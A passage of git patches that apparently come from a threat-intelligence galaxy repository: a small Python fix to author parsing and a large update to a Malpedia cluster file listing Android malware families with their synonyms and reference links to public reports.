"afce6aba-d4c4-49fa-b9a9-1a70e92e5a0e", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "uses" + } + ], + "uuid": "ecf4d7cb-9bf7-4d9d-8450-c99e885b9aac", + "value": "BITWISE SPIDER" } ], "version": 247 From 06099745453793bee260d65fb6e3cc4a64e74259 Mon Sep 17 00:00:00 2001 From: Christophe Vandeplas Date: Fri, 23 Sep 2022 15:39:49 +0200 Subject: [PATCH 126/167] fix: [atrm] fix bug in authors --- tools/gen_atrm.py | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/tools/gen_atrm.py b/tools/gen_atrm.py index 98e7277..eb2298a 100755 --- a/tools/gen_atrm.py +++ b/tools/gen_atrm.py @@ -105,13 +105,16 @@ json_cluster = { with open(os.path.join(args.path, 'docs', 'acknowledgments.md'), 'r') as f: for line in f: if line.startswith('* '): - json_cluster['authors'].append(re.search(r'\w+ [\w&]+', line).group()) + try: + json_cluster['authors'].append(re.search(r'\w+ [\w&]+', line).group()) + except AttributeError: + json_cluster['authors'].append(re.search(r'\w+', line).group()) # save the Galaxy and Cluster file with open(os.path.join('..', 'galaxies', 'atrm.json'), 'w') as f: - json.dump(json_galaxy, f, indent=2) + json.dump(json_galaxy, f, indent=2, sort_keys=True) with open(os.path.join('..', 'clusters', 'atrm.json'), 'w') as f: - json.dump(json_cluster, f, indent=2) + json.dump(json_cluster, f, indent=2, sort_keys=True) print("All done, please don't forget to ./jq_all_the_things.sh, commit, and then ./validate_all.sh.") From a611230befabac019688ecdfef757cf3aeff476c Mon Sep 17 00:00:00 2001 From: Delta-Sierra Date: Mon, 26 Sep 2022 09:23:07 +0200 Subject: [PATCH 127/167] fetch malpedia --- clusters/malpedia.json | 22477 ++++++++++++++++++++++----------------- 1 file changed, 12446 insertions(+), 10031 deletions(-) diff --git a/clusters/malpedia.json b/clusters/malpedia.json index c2551c1..2c7025f 100644 --- a/clusters/malpedia.json +++ b/clusters/malpedia.json @@ -20,22 +20,22 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/aix.fastcash", - "https://www.cisa.gov/uscert/ncas/alerts/aa20-239a", - "https://threatrecon.nshc.net/2019/01/23/sectora01-custom-proxy-utility-tool-analysis/", - "https://github.com/fboldewin/FastCashMalwareDissected/", - "https://i.blackhat.com/eu-20/Wednesday/eu-20-Rivera-From-Zero-To-Sixty-The-Story-Of-North-Koreas-Rapid-Ascent-To-Becoming-A-Global-Cyber-Superpower.pdf", - "https://i.blackhat.com/USA-20/Wednesday/us-20-Perlow-FASTCash-And-INJX_Pure-How-Threat-Actors-Use-Public-Standards-For-Financial-Fraud.pdf", - "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/fastcash-lazarus-atm-malware", - "https://www.us-cert.gov/ncas/alerts/TA18-275A", - "https://www.cisa.gov/uscert/ncas/alerts/TA18-275A", - "https://www.symantec.com/blogs/threat-intelligence/fastcash-lazarus-atm-malware", - "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-108A-TraderTraitor-North_Korea_APT_Targets_Blockchain_Companies.pdf", - "https://blog.talosintelligence.com/2019/05/10-years-of-virtual-dynamite.html", - "https://www.youtube.com/watch?v=LUxOcpIRxmg", - "https://i.blackhat.com/USA-20/Wednesday/us-20-Perlow-FASTCash-And-INJX_Pure-How-Threat-Actors-Use-Public-Standards-For-Financial-Fraud-wp.pdf", "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", - "https://www.youtube.com/watch?v=zGvQPtejX9w" + "https://github.com/fboldewin/FastCashMalwareDissected/", + "https://www.cisa.gov/uscert/ncas/alerts/TA18-275A", + "https://www.cisa.gov/uscert/ncas/alerts/aa20-239a", + "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", + "https://www.youtube.com/watch?v=zGvQPtejX9w", + "https://www.us-cert.gov/ncas/alerts/TA18-275A", + "https://blog.talosintelligence.com/2019/05/10-years-of-virtual-dynamite.html", + "https://threatrecon.nshc.net/2019/01/23/sectora01-custom-proxy-utility-tool-analysis/", + "https://i.blackhat.com/USA-20/Wednesday/us-20-Perlow-FASTCash-And-INJX_Pure-How-Threat-Actors-Use-Public-Standards-For-Financial-Fraud.pdf", + "https://i.blackhat.com/USA-20/Wednesday/us-20-Perlow-FASTCash-And-INJX_Pure-How-Threat-Actors-Use-Public-Standards-For-Financial-Fraud-wp.pdf", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-108A-TraderTraitor-North_Korea_APT_Targets_Blockchain_Companies.pdf", + "https://www.youtube.com/watch?v=LUxOcpIRxmg", + "https://i.blackhat.com/eu-20/Wednesday/eu-20-Rivera-From-Zero-To-Sixty-The-Story-Of-North-Koreas-Rapid-Ascent-To-Becoming-A-Global-Cyber-Superpower.pdf", + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/fastcash-lazarus-atm-malware", + "https://www.symantec.com/blogs/threat-intelligence/fastcash-lazarus-atm-malware" ], "synonyms": [], "type": [] @@ -61,12 +61,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.aberebot", - "https://hothardware.com/news/escobar-banking-trojan-targets-mfa-codes", - "https://blog.cyble.com/2021/07/30/aberebot-on-the-rise-new-banking-trojan-targeting-users-through-phishing/", - "https://www.bleepingcomputer.com/news/security/android-malware-escobar-steals-your-google-authenticator-mfa-codes/", - "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", + "https://twitter.com/_icebre4ker_/status/1460527428544176128", "https://blog.cyble.com/2022/03/10/aberebot-returns-as-escobar/", - "https://twitter.com/_icebre4ker_/status/1460527428544176128" + "https://hothardware.com/news/escobar-banking-trojan-targets-mfa-codes", + "https://www.bleepingcomputer.com/news/security/android-malware-escobar-steals-your-google-authenticator-mfa-codes/", + "https://blog.cyble.com/2021/07/30/aberebot-on-the-rise-new-banking-trojan-targeting-users-through-phishing/", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord" ], "synonyms": [ "Escobar" @@ -97,7 +97,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.actionspy", "https://blog.trendmicro.com/trendlabs-security-intelligence/new-android-spyware-actionspy-revealed-via-phishing-attacks-from-earth-empusa/", - "https://about.fb.com/news/2021/03/taking-action-against-hackers-in-china/" + "https://about.fb.com/news/2021/03/taking-action-against-hackers-in-china/", + "https://www.trendmicro.com/en_us/research/20/f/new-android-spyware-actionspy-revealed-via-phishing-attacks-from-earth-empusa.html" ], "synonyms": [ "AxeSpy" @@ -139,10 +140,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.ahmyth", - "https://www.welivesecurity.com/2019/08/22/first-spyware-android-ahmyth-google-play/", - "https://www.stratosphereips.org/blog/2020/11/10/android-mischief-rats-dataset", + "https://securelist.com/transparent-tribe-part-2/98233/", "https://www.secrss.com/articles/24995", - "https://securelist.com/transparent-tribe-part-2/98233/" + "https://www.welivesecurity.com/2019/08/22/first-spyware-android-ahmyth-google-play/", + "https://www.stratosphereips.org/blog/2020/11/10/android-mischief-rats-dataset" ], "synonyms": [], "type": [] @@ -155,15 +156,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.alien", + "https://www.threatfabric.com/blogs/deceive-the-heavens-to-cross-the-sea.html", "https://www.threatfabric.com/blogs/alien_the_story_of_cerberus_demise.html", "https://info.phishlabs.com/blog/alien-mobile-malware-evades-detection-increases-targets", - "https://research.checkpoint.com/2021/clast82-a-new-dropper-on-google-play-dropping-the-alienbot-banker-and-mrat/", "https://www.checkpoint.com/press/2022/march-2022s-most-wanted-malware-easter-phishing-scams-help-emotet-assert-its-dominance/", - "https://www.prodaft.com/m/reports/BrunHilda_DaaS.pdf", - "https://www.threatfabric.com/blogs/deceive-the-heavens-to-cross-the-sea.html", "https://www.bleepingcomputer.com/news/security/google-predator-spyware-infected-android-devices-using-zero-days/", + "https://preyproject.com/blog/en/cerberus-and-alien-the-malware-that-has-put-android-in-a-tight-spot/", "https://drive.google.com/file/d/1qd7Nqjhe2vyGZ5bGm6gVw0mM1D6YDolu/view?usp=sharing", - "https://preyproject.com/blog/en/cerberus-and-alien-the-malware-that-has-put-android-in-a-tight-spot/" + "https://research.checkpoint.com/2021/clast82-a-new-dropper-on-google-play-dropping-the-alienbot-banker-and-mrat/", + "https://www.prodaft.com/m/reports/BrunHilda_DaaS.pdf" ], "synonyms": [ "AlienBot" @@ -178,9 +179,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.amplebot", - "https://www.threatfabric.com/blogs/blackrock_the_trojan_that_wanted_to_get_them_all.html", "https://www.threatfabric.com/blogs/alien_the_story_of_cerberus_demise.html", - "https://www.threatfabric.com/blogs/ermac-another-cerberus-reborn.html" + "https://www.threatfabric.com/blogs/ermac-another-cerberus-reborn.html", + "https://www.threatfabric.com/blogs/blackrock_the_trojan_that_wanted_to_get_them_all.html" ], "synonyms": [ "BlackRock" @@ -195,22 +196,22 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.anatsa", - "https://www.cleafy.com/documents/teabot", - "https://thehackernews.com/2022/01/widespread-flubot-and-teabot-malware.html", - "https://labs.k7computing.com/?p=22407", - "https://labs.k7computing.com/index.php/play-store-app-serves-teabot-via-github/", - "https://twitter.com/ThreatFabric/status/1394958795508523008", - "https://labs.bitdefender.com/2021/06/threat-actors-use-mockups-of-popular-apps-to-spread-teabot-and-flubot-malware-on-android/", - "https://www.telekom.com/en/blog/group/article/flubot-under-the-microscope-636368", - "https://blog.nviso.eu/2021/05/11/android-overlay-attacks-on-belgian-financial-applications/", + "https://twitter.com/_icebre4ker_/status/1416409813467156482", "https://www.threatfabric.com/blogs/deceive-the-heavens-to-cross-the-sea.html", - "https://www.buguroo.com/hubfs/website/pdf/reports/buguroo-malware-report-Toddler_EN.pdf", - "https://www.prodaft.com/m/reports/Toddler___TLPWHITE_V2.pdf", + "https://gbhackers.com/teabot-banking-trojan/", + "https://blog.nviso.eu/2021/05/11/android-overlay-attacks-on-belgian-financial-applications/", + "https://twitter.com/ThreatFabric/status/1394958795508523008", "https://www.bitdefender.com/blog/labs/new-flubot-and-teabot-global-malware-campaigns-discovered", "https://www.cleafy.com/cleafy-labs/teabot-is-now-spreading-across-the-globe", - "https://gbhackers.com/teabot-banking-trojan/", - "https://twitter.com/_icebre4ker_/status/1416409813467156482", - "https://www.threatfabric.com/blogs/smishing-campaign-in-nl-spreading-cabassous-and-anatsa.html" + "https://thehackernews.com/2022/01/widespread-flubot-and-teabot-malware.html", + "https://www.prodaft.com/m/reports/Toddler___TLPWHITE_V2.pdf", + "https://www.telekom.com/en/blog/group/article/flubot-under-the-microscope-636368", + "https://labs.k7computing.com/?p=22407", + "https://labs.bitdefender.com/2021/06/threat-actors-use-mockups-of-popular-apps-to-spread-teabot-and-flubot-malware-on-android/", + "https://www.threatfabric.com/blogs/smishing-campaign-in-nl-spreading-cabassous-and-anatsa.html", + "https://www.cleafy.com/documents/teabot", + "https://www.buguroo.com/hubfs/website/pdf/reports/buguroo-malware-report-Toddler_EN.pdf", + "https://labs.k7computing.com/index.php/play-store-app-serves-teabot-via-github/" ], "synonyms": [ "ReBot", @@ -227,16 +228,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.androrat", - "https://hotforsecurity.bitdefender.com/blog/possibly-italy-born-android-rat-reported-in-china-find-bitdefender-researchers-16264.html", "https://www.stratosphereips.org/blog/2021/3/29/dissecting-a-rat-analysis-of-the-androrat", - "https://www.kaspersky.com/blog/mobile-malware-part-4/24290/", - "https://www.stratosphereips.org/blog/2021/5/6/dissecting-a-rat-analysis-of-the-command-line-androrat", - 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"https://blog.trendmicro.com/trendlabs-security-intelligence/the-urpage-connection-to-bahamut-confucius-and-patchwork/" + "https://blog.cyble.com/2022/06/29/bahamut-android-malware-returns-with-new-spying-capabilities/" ], "synonyms": [], "type": [] @@ -391,9 +394,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.basbanke", + "https://securelist.com/basbanke-trend-setting-brazilian-banking-trojan/90365/", "https://twitter.com/LukasStefanko/status/1280243673100402690", - "https://seguranca-informatica.pt/hackers-are-again-attacking-portuguese-banking-organizations-via-android-trojan-banker/#.YHTDZS2tEUE", - "https://securelist.com/basbanke-trend-setting-brazilian-banking-trojan/90365/" + "https://seguranca-informatica.pt/hackers-are-again-attacking-portuguese-banking-organizations-via-android-trojan-banker/#.YHTDZS2tEUE" ], "synonyms": [], "type": [] @@ -406,9 +409,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.bianlian", + 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"https://nex.sx/blog/2021/08/03/the-pegasus-project.html", - "https://www.cyjax.com/2021/10/26/mercenary-apts-an-exploration/", - "https://www.washingtonpost.com/investigations/interactive/2021/nso-spyware-pegasus-cellphones/", - "https://threatpost.com/nso-pegasus-spyware-bans-apple-accountability/167965/", - "https://objective-see.com/blog/blog_0x67.html", - "https://github.com/AmnestyTech/investigations/tree/master/2021-07-18_nso", - "https://citizenlab.ca/2021/11/palestinian-human-rights-defenders-hacked-nso-groups-pegasus-spyware/", - "https://thewire.in/rights/sar-geelani-pegasus-spyware-phone-messages", - "https://blog.zecops.com/research/the-recent-ios-0-click-cve-2021-30860-sounds-familiar-an-unreleased-write-up-one-year-later/", - "https://www.washingtonpost.com/technology/2021/07/19/apple-iphone-nso/", - "https://www.theguardian.com/news/series/pegasus-project", - "https://www.trendmicro.com/en_us/research/21/i/analyzing-pegasus-spywares-zero-click-iphone-exploit-forcedentry.html", + "https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-appendix-d/", + "https://www.amnesty.org/en/latest/news/2021/07/the-pegasus-project/", "https://info.lookout.com/rs/051-ESQ-475/images/lookout-pegasus-android-technical-analysis.pdf", + "https://thewire.in/media/pegasus-project-spyware-indian-journalists", + "https://www.cybertrends.it/pegasus-lo-spyware-per-smartphone-come-funziona-e-come-ci-si-puo-proteggere/", + "https://citizenlab.ca/2022/04/catalangate-extensive-mercenary-spyware-operation-against-catalans-using-pegasus-candiru/", + "https://threatpost.com/nso-pegasus-spyware-bans-apple-accountability/167965/", + "https://thewire.in/government/indian-army-bsf-raw-pegasus-spyware-threat", + "https://www.vice.com/en/article/xgx5bw/amazon-aws-shuts-down-nso-group-infrastructure", + "https://blog.zecops.com/research/the-recent-ios-0-click-cve-2021-30860-sounds-familiar-an-unreleased-write-up-one-year-later/", + "https://unit42.paloaltonetworks.com/strategically-aged-domain-detection/", + "https://thewire.in/rights/sar-geelani-pegasus-spyware-phone-messages", + "https://irpimedia.irpi.eu/sorveglianze-cy4gate/", + "https://zetter.substack.com/p/pegasus-spyware-how-it-works-and", + "https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html", + "https://thewire.in/government/project-pegasus-journalists-ministers-activists-phones-spying", + "https://www.washingtonpost.com/world/2021/07/19/india-nso-pegasus/", + "https://thewire.in/tag/pegasus-project", + "https://citizenlab.ca/2021/10/breaking-news-new-york-times-journalist-ben-hubbard-pegasus/", + "https://security.googleblog.com/2017/04/an-investigation-of-chrysaor-malware-on.html", + "https://www.theguardian.com/world/2021/jul/18/nso-spyware-used-to-target-family-of-jamal-khashoggi-leaked-data-shows-saudis-pegasus", + "https://forbiddenstories.org/pegasus-the-new-global-weapon-for-silencing-journalists/", + "https://www.washingtonpost.com/technology/2021/07/18/reactions-pegasus-project-nso/", + "https://www.cyjax.com/2021/10/26/mercenary-apts-an-exploration/", + "https://citizenlab.ca/2021/12/pegasus-vs-predator-dissidents-doubly-infected-iphone-reveals-cytrox-mercenary-spyware/", + "https://www.washingtonpost.com/investigations/2021/07/18/takeaways-nso-pegasus-project/", + "https://www.washingtonpost.com/investigations/interactive/2021/nso-spyware-pegasus-cellphones/", + "https://citizenlab.ca/2021/08/bahrain-hacks-activists-with-nso-group-zero-click-iphone-exploits/", + "https://www.reuters.com/technology/how-saudi-womans-iphone-revealed-hacking-around-world-2022-02-17/", + "https://www.theguardian.com/news/series/pegasus-project", + "https://lifars.com/2022/01/forensics-analysis-of-the-nso-groups-pegasus-spyware/", + "https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-how-to-catch-nso-groups-pegasus/", + "https://forbiddenstories.org/the-pegasus-project-a-worldwide-collaboration-to-counter-a-global-crime/", + "https://citizenlab.ca/2018/09/hide-and-seek-tracking-nso-groups-pegasus-spyware-to-operations-in-45-countries/", + "https://www.trendmicro.com/en_us/research/21/h/confucius-uses-pegasus-spyware-related-lures-to-target-pakistani.html", + "https://www.theguardian.com/world/2021/jul/18/revealed-leak-uncovers-global-abuse-of-cyber-surveillance-weapon-nso-group-pegasus", + "https://twitter.com/alexanderjaeger/status/1417447732030189569", + "https://android-developers.googleblog.com/2017/04/an-investigation-of-chrysaor-malware-on.html", + "https://citizenlab.ca/2021/07/amnesty-peer-review/", + "https://arkadiyt.com/2021/07/25/scanning-your-iphone-for-nso-group-pegasus-malware/", + "https://nex.sx/blog/2021/08/03/the-pegasus-project.html", + "https://objective-see.com/blog/blog_0x67.html", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://www.bleepingcomputer.com/news/security/google-predator-spyware-infected-android-devices-using-zero-days/", + "https://www.washingtonpost.com/technology/2021/07/19/apple-iphone-nso/", + "https://media.ccc.de/v/33c3-7901-pegasus_internals", + "https://www.lemonde.fr/projet-pegasus/article/2021/07/18/au-maroc-comme-en-france-des-journalistes-mis-sous-surveillance-avec-le-logiciel-pegasus_6088654_6088648.html", + "https://citizenlab.ca/2020/12/the-great-ipwn-journalists-hacked-with-suspected-nso-group-imessage-zero-click-exploit/", + "https://citizenlab.ca/2020/01/stopping-the-press-new-york-times-journalist-targeted-by-saudi-linked-pegasus-spyware-operator/", + "https://citizenlab.ca/2021/11/palestinian-human-rights-defenders-hacked-nso-groups-pegasus-spyware/", + "https://forbiddenstories.org/about-the-pegasus-project/", + "https://github.com/AmnestyTech/investigations/tree/master/2021-07-18_nso", "https://citizenlab.ca/2022/04/peace-through-pegasus-jordanian-human-rights-defenders-and-journalists-hacked-with-pegasus-spyware/", - "https://citizenlab.ca/2020/12/the-great-ipwn-journalists-hacked-with-suspected-nso-group-imessage-zero-click-exploit/" + "https://www.bleepingcomputer.com/news/security/iphones-running-latest-ios-hacked-to-deploy-nso-group-spyware/", + "https://www.theguardian.com/news/2021/jul/18/revealed-murdered-journalist-number-selected-mexico-nso-client-cecilio-pineda-birto", + "https://www.theguardian.com/news/2021/jul/18/viktor-orban-using-nso-spyware-in-assault-on-media-data-suggests", + "https://www.trendmicro.com/en_us/research/21/i/analyzing-pegasus-spywares-zero-click-iphone-exploit-forcedentry.html", + "https://www.washingtonpost.com/investigations/interactive/2021/jamal-khashoggi-wife-fiancee-cellphone-hack/?itid=co_pegasus_5", + "https://cybergeeks.tech/a-technical-analysis-of-pegasus-for-android-part-1" ], "synonyms": [ "JigglyPuff", @@ -668,9 +680,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.clipper", - "https://lukasstefanko.com/2019/02/android-clipper-found-on-google-play.html", + "https://news.drweb.com/show?lng=en&i=12739", "https://www.welivesecurity.com/2019/02/08/first-clipper-malware-google-play/", - "https://news.drweb.com/show?lng=en&i=12739" + "https://lukasstefanko.com/2019/02/android-clipper-found-on-google-play.html" ], "synonyms": [], "type": [] @@ -724,13 +736,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.coper", - "https://thehackernews.com/2022/04/new-octo-banking-trojan-spreading-via.html", - "https://news.drweb.com/show/?p=0&lng=en&i=14259&c=0", - "https://www.bleepingcomputer.com/news/security/new-android-banking-malware-remotely-takes-control-of-your-device/", - "https://twitter.com/_icebre4ker_/status/1541875982684094465", + "https://cert-agid.gov.it/news/analisi-e-approfondimenti-tecnici-sul-malware-coper-utilizzato-per-attaccare-dispositivi-mobili/", "https://blog.cyble.com/2022/03/24/coper-banking-trojan/", - "https://cert.pl/posts/2021/12/aktywacja-aplikacji-iko/", - "https://threatfabric.com/blogs/octo-new-odf-banking-trojan.html" + "https://threatfabric.com/blogs/octo-new-odf-banking-trojan.html", + "https://twitter.com/_icebre4ker_/status/1541875982684094465", + "https://www.bleepingcomputer.com/news/security/new-android-banking-malware-remotely-takes-control-of-your-device/", + "https://news.drweb.com/show/?p=0&lng=en&i=14259&c=0", + "https://thehackernews.com/2022/04/new-octo-banking-trojan-spreading-via.html", + "https://www.trendmicro.com/en_us/research/22/g/examining-new-dawdropper-banking-dropper-and-daas-on-the-dark-we.html", + "https://cert.pl/posts/2021/12/aktywacja-aplikacji-iko/" ], "synonyms": [ "ExobotCompact", @@ -746,8 +760,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.corona_worm", - "https://dissectingmalwa.re/jamba-superdeal-helo-sir-you-want-to-buy-mask-corona-safety-mask-sms-scam.html", - "https://www.zscaler.com/blogs/research/new-android-app-offers-coronavirus-safety-mask-delivers-sms-trojan" + "https://www.zscaler.com/blogs/research/new-android-app-offers-coronavirus-safety-mask-delivers-sms-trojan", + "https://dissectingmalwa.re/jamba-superdeal-helo-sir-you-want-to-buy-mask-corona-safety-mask-sms-scam.html" ], "synonyms": [], "type": [] @@ -784,6 +798,21 @@ "uuid": "21e9d7e6-6e8c-49e4-8869-6bac249cda8a", "value": "CryCryptor" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.cyber_azov", + "https://blog.google/threat-analysis-group/continued-cyber-activity-in-eastern-europe-observed-by-tag/", + "https://blog.google/threat-analysis-group/continued-cyber-activity-in-eastern-europe-observed-by-tag", + "https://twitter.com/sekoia_io/status/1554086468104196096" + ], + "synonyms": [], + "type": [] + }, + "uuid": "bb1821f9-eace-4e63-b55d-fc7821a6e5f1", + "value": "CyberAzov" + }, { "description": "", "meta": { @@ -799,6 +828,19 @@ "uuid": "97fe35c9-f50c-495f-8736-0ecd95c70192", "value": "Dark Shades" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.dawdropper", + "https://www.trendmicro.com/en_us/research/22/g/examining-new-dawdropper-banking-dropper-and-daas-on-the-dark-we.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "bd9756da-220d-48d6-a4f5-6646558c4b30", + "value": "DawDropper" + }, { "description": "", "meta": { @@ -833,9 +875,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.dmsspy", - "https://securelist.com/ios-exploit-chain-deploys-lightspy-malware/96407/", "https://blog.trendmicro.com/trendlabs-security-intelligence/operation-poisoned-news-hong-kong-users-targeted-with-mobile-malware-via-local-news-links/", - "https://documents.trendmicro.com/assets/Tech-Brief-Operation-Poisoned-News-Hong-Kong-Users-Targeted-with-Mobile-Malware-via-Local-News-Links.pdf" + "https://documents.trendmicro.com/assets/Tech-Brief-Operation-Poisoned-News-Hong-Kong-Users-Targeted-with-Mobile-Malware-via-Local-News-Links.pdf", + "https://securelist.com/ios-exploit-chain-deploys-lightspy-malware/96407/" ], "synonyms": [], "type": [] @@ -869,6 +911,19 @@ "uuid": "10d0115a-00b4-414e-972b-8320a2bb873c", "value": "DoubleLocker" }, + { + "description": "Android malware that impersonates genuine applications such as Signal, Telegram, WhatsApp, YouTube, and other chat applications and distributes through phishing sites.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.dracarys", + "https://blog.cyble.com/2022/08/09/bitter-apt-group-using-dracarys-android-spyware/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "bf94eee6-2274-40f4-b181-2b49ce6ef9fb", + "value": "Dracarys" + }, { "description": "", "meta": { @@ -943,9 +998,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.ermac", - "https://www.threatfabric.com/blogs/ermac-another-cerberus-reborn.html", "https://twitter.com/ESETresearch/status/1445618031464357888", - "https://blog.cyble.com/2022/05/25/ermac-back-in-action/" + "https://blog.cyble.com/2022/05/25/ermac-back-in-action/", + "https://www.threatfabric.com/blogs/ermac-another-cerberus-reborn.html", + "https://intel471.com/blog/rmac-2-0-perfecting-the-art-of-account-takeover" ], "synonyms": [], "type": [] @@ -958,9 +1014,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.eventbot", + "https://www.youtube.com/watch?v=qqwOrLR2rgU", "https://twitter.com/ThreatFabric/status/1240664876558823424", - "https://www.cybereason.com/blog/eventbot-a-new-mobile-banking-trojan-is-born", - "https://www.youtube.com/watch?v=qqwOrLR2rgU" + "https://www.cybereason.com/blog/eventbot-a-new-mobile-banking-trojan-is-born" ], "synonyms": [], "type": [] @@ -973,13 +1029,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.exobot", - "https://www.bleepingcomputer.com/news/security/exobot-author-calls-it-quits-and-sells-off-banking-trojan-source-code/", - "https://www.bleepingcomputer.com/news/security/new-exo-android-trojan-sold-on-hacking-forums-dark-web/", "https://securityintelligence.com/ibm-x-force-delves-into-exobots-leaked-source-code/", - "https://www.bleepingcomputer.com/news/security/new-android-banking-malware-remotely-takes-control-of-your-device/", "https://www.bleepingcomputer.com/news/security/source-code-for-exobot-android-banking-trojan-leaked-online/", + "https://www.bleepingcomputer.com/news/security/exobot-author-calls-it-quits-and-sells-off-banking-trojan-source-code/", "https://blog.cyble.com/2022/03/24/coper-banking-trojan/", - "https://threatfabric.com/blogs/octo-new-odf-banking-trojan.html" + "https://threatfabric.com/blogs/octo-new-odf-banking-trojan.html", + "https://www.bleepingcomputer.com/news/security/new-android-banking-malware-remotely-takes-control-of-your-device/", + "https://www.bleepingcomputer.com/news/security/new-exo-android-trojan-sold-on-hacking-forums-dark-web/" ], "synonyms": [], "type": [] @@ -1008,9 +1064,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.facestealer", + "https://www.trendmicro.com/en_us/research/22/e/fake-mobile-apps-steal-facebook-credentials--crypto-related-keys.html", "https://labs.k7computing.com/index.php/facestealer-the-rise-of-facebook-credential-stealer-malware/", - "https://threatpost.com/facestealer-trojan-google-play-facebook/179015/", - "https://www.trendmicro.com/en_us/research/22/e/fake-mobile-apps-steal-facebook-credentials--crypto-related-keys.html" + "https://threatpost.com/facestealer-trojan-google-play-facebook/179015/" ], "synonyms": [], "type": [] @@ -1038,9 +1094,9 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.fakespy", "https://www.trendmicro.com/en_us/research/18/f/fakespy-android-information-stealing-malware-targets-japanese-and-korean-speaking-users.html", "https://www.trendmicro.com/en_us/research/18/k/a-look-into-the-connection-between-xloader-and-fakespy-and-their-possible-ties-with-the-yanbian-gang.html", + "https://medium.com/csis-techblog/the-roamingmantis-groups-expansion-to-european-apple-accounts-and-android-devices-e6381723c681", "https://blog.trendmicro.com/trendlabs-security-intelligence/fakespy-android-information-stealing-malware-targets-japanese-and-korean-speaking-users/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/a-look-into-the-connection-between-xloader-and-fakespy-and-their-possible-ties-with-the-yanbian-gang/", - "https://medium.com/csis-techblog/the-roamingmantis-groups-expansion-to-european-apple-accounts-and-android-devices-e6381723c681" + "https://blog.trendmicro.com/trendlabs-security-intelligence/a-look-into-the-connection-between-xloader-and-fakespy-and-their-possible-ties-with-the-yanbian-gang/" ], "synonyms": [], "type": [] @@ -1081,12 +1137,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.finfisher", - "https://securelist.com/new-finspy-ios-and-android-implants-revealed-itw/91685/", - "https://securelist.com/finspy-unseen-findings/104322/", - "https://www.amnesty.org/en/latest/research/2020/09/german-made-finspy-spyware-found-in-egypt-and-mac-and-linux-versions-revealed/", + "https://github.com/linuzifer/FinSpy-Dokumentation", "https://netzpolitik.org/2020/our-criminal-complaint-german-state-malware-company-finfisher-raided/", + "https://securelist.com/finspy-unseen-findings/104322/", + "https://securelist.com/new-finspy-ios-and-android-implants-revealed-itw/91685/", "https://raw.githubusercontent.com/DefensiveLabAgency/FinSpy-for-Android/master/20200806_finspy_android_analysis_public_release.pdf", - "https://github.com/linuzifer/FinSpy-Dokumentation" + "https://www.amnesty.org/en/latest/research/2020/09/german-made-finspy-spyware-found-in-egypt-and-mac-and-linux-versions-revealed/" ], "synonyms": [], "type": [] @@ -1129,41 +1185,43 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.flubot", - "https://mobile.twitter.com/alberto__segura/status/1400396365759500289", - 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"https://twitter.com/malwrhunterteam/status/1359939300238983172", + "https://twitter.com/alberto__segura/status/1402615237296148483", + "https://www.europol.europa.eu/media-press/newsroom/news/takedown-of-sms-based-flubot-spyware-infecting-android-phones", + "https://labs.bitdefender.com/2021/06/threat-actors-use-mockups-of-popular-apps-to-spread-teabot-and-flubot-malware-on-android/", + "https://therecord.media/flubot-malware-gang-arrested-in-barcelona/", + "https://cryptax.medium.com/android-flubot-preparing-for-a-new-campaign-2f7563fc6c06", + "https://securityblog.switch.ch/2021/06/19/android-flubot-enters-switzerland/", + "https://therecord.media/despite-arrests-in-spain-flubot-operations-explode-across-europe-and-japan/", + "https://twitter.com/alberto__segura/status/1384840011892285440", + 